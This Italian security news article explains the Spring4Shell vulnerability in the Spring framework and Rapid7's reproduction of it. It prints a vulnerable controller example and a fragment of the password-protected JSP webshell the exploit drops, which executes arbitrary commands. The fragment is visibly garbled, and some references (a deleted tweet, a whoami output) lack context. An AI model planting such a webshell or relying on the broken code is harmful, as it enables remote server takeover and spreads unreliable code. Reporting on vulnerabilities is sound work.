Una vulnerabilità nel popolare framework Spring per lo sviluppo di applicazioni Web Java espone potenzialmente molte applicazioni Web ad attacchi informatici remoti.
La vulnerabilità, soprannominata Spring4Shell e SpringShell, ha suscitato grande scalpore tra gli esperti di sicurezza nelle ultime 24 ore.
In particolare, i ricercatori di sicurezza hanno cercato di capire se il problema è nuovo o deriva da una vulnerabilità precedente.
Advertising
Di cosa si tratta
Secondo gli esperti di Praetorian e Flashpoint , la vulnerabilità è nuova e può essere sfruttata da remoto se l’applicazione Spring viene distribuita su un server Apache Tomcat con una configurazione comune.
Per sfruttare la vulnerabilità, un utente malintenzionato deve individuare e identificare le installazioni di applicazioni Web utilizzando DeserializationUtils. La vulnerabilità non interessa le applicazioni Spring che utilizzano Spring Boot e Tomcat incorporato.
Spring4Shell (a cui non è ancora stato assegnato un ID CVE) avrà probabilmente bisogno di un aggiornamento importante per garantire che le installazioni siano sicure, ha spiegato Richard Ford, direttore tecnico senior di Praetorian.
La vulnerabilità è molto facile da sfruttare, ha affermato Ford, e gli utenti dovranno installare gli aggiornamenti su cui Spring sta già lavorando il prima possibile. Secondo gli esperti di Flashpoint, non si discute ancora della vulnerabilità nella comunità dei criminali informatici.
Tuttavia, il tweet è stato presto cancellato, a quanto pare perché è un crimine in Cina pubblicare informazioni sulle vulnerabilità senza il permesso del governo. Su VX-Underground, le informazioni su Spring4Shell sono apparse a metà giornata del 30 marzo.
Avendo accesso agli screenshot, gli esperti di sicurezza sono stati in grado di decodificare l’exploit e riprodurre l’attacco in poche ore.
Uno sguardo all’exploit
La vulnerabilità sembra (A detta di Rapid7) interessare le funzioni che utilizzano l’ annotazione @RequestMapping e i parametri POJO (Plain Old Java Object). Ecco un esempio in una dimostrazione MVC di Springframework :
package net.javaguides.springmvc.helloworld.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import net.javaguides.springmvc.helloworld.model.HelloWorld;
@Controller
public class HelloWorldController {
@RequestMapping("/rapid7")
public void vulnerable(HelloWorld model) {
}
}
Un controller ( HelloWorldController), una volta caricato in Tomcat, gestirà le richieste HTTP a http://name/appname/rapid7. La funzione che gestisce la richiesta viene chiamata vulnerablee dispone di un parametro POJO HelloWorld. Qui, HelloWorldè ridotto ma POJO può essere piuttosto complicato se necessario:
package net.javaguides.springmvc.helloworld.model;
public class HelloWorld {
private String message;
}
Questa è l’intera condizione sfruttabile, almeno dalle versioni di Spring Framework da 4.3.0 a 5.3.15. (Non sono state esplorate le versioni indietro alla 4.3.0.)
Se compiliamo il progetto e lo ospitiamo su Tomcat, possiamo quindi sfruttarlo con il seguente comando curl. Nota quanto segue utilizza esattamente lo stesso payload dalla PoC creata dal ricercatore cinese.
Questo payload rilascia una webshell protetta da password nella directory ROOT di Tomcat chiamata tomcatwar.jsp, e si presenta così:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -
Gli aggressori possono a questo punto invocare i comandi al server.
Ecco un esempio di esecuzione whoamiper ottenere albinolobster:
La versione Java sembra avere importanza.
Il test su OpenJDK 1.8.0_312 non riesce, ma OpenJDK 11.0.14.1 funziona.
📢 Resta aggiornatoTi è piaciuto questo articolo? Rimani sempre informato seguendoci su Google Discover (scorri in basso e clicca segui) e su 🔔 Google News. Ne stiamo anche discutendo sui nostri social: 💼 LinkedIn, 📘 Facebook e 📸 Instagram. Hai una notizia o un approfondimento da segnalarci? ✉️ Scrivici
La Redazione di Red Hot Cyber fornisce aggiornamenti quotidiani su bug, data breach e minacce globali. Ogni contenuto è validato dalla nostra community di esperti come Pietro Melillo, Massimiliano Brolli, Sandro Sana, Olivia Terragni e Stefano Gazzella.
Grazie alla sinergia con i nostri Partner leader nel settore (tra cui Accenture, CrowdStrike, Trend Micro e Fortinet), trasformiamo la complessità tecnica in consapevolezza collettiva, garantendo un'informazione accurata basata sull'analisi di fonti primarie e su una rigorosa peer-review tecnica.
Ritorna lunedì 18 e martedì 19 maggio la Red Hot Cyber Conference 2026, l’evento gratuito creato dalla community di Red Hot Cyber, che si terrà a Roma in Via Bari 18, presso il Teatro Italia. L’iniziativa è pensata per promuovere la cultura della sicurezza informatica, dell’innovazione digitale e della consapevolezza del rischio cyber. Rappresenta un punto di incontro tra professionisti, studenti, aziende e appassionati del settore, offrendo contenuti tecnici, workshop e momenti di confronto ad alto valore formativo.
L’edizione 2026 si svolgerà a Roma nelle giornate del 18 e 19 maggio presso il Teatro Italia e includerà attività formative, sessioni pratiche e la tradizionale Capture The Flag. L’evento è completamente gratuito, ma la partecipazione è subordinata a registrazione obbligatoria tramite i canali ufficiali, al fine di garantire una corretta organizzazione e gestione degli accessi.
Le iscrizioni saranno disponibili a partire dal 16 marzo 2026 attraverso la piattaforma Eventbrite, dove sarà possibile registrarsi ai diversi percorsi dell’evento: workshop, conferenza principale e competizione CTF. I link ufficiali di registrazione saranno pubblicati sui canali di Red Hot Cyber e costituiranno l’unico punto valido per la prenotazione dei posti all’evento.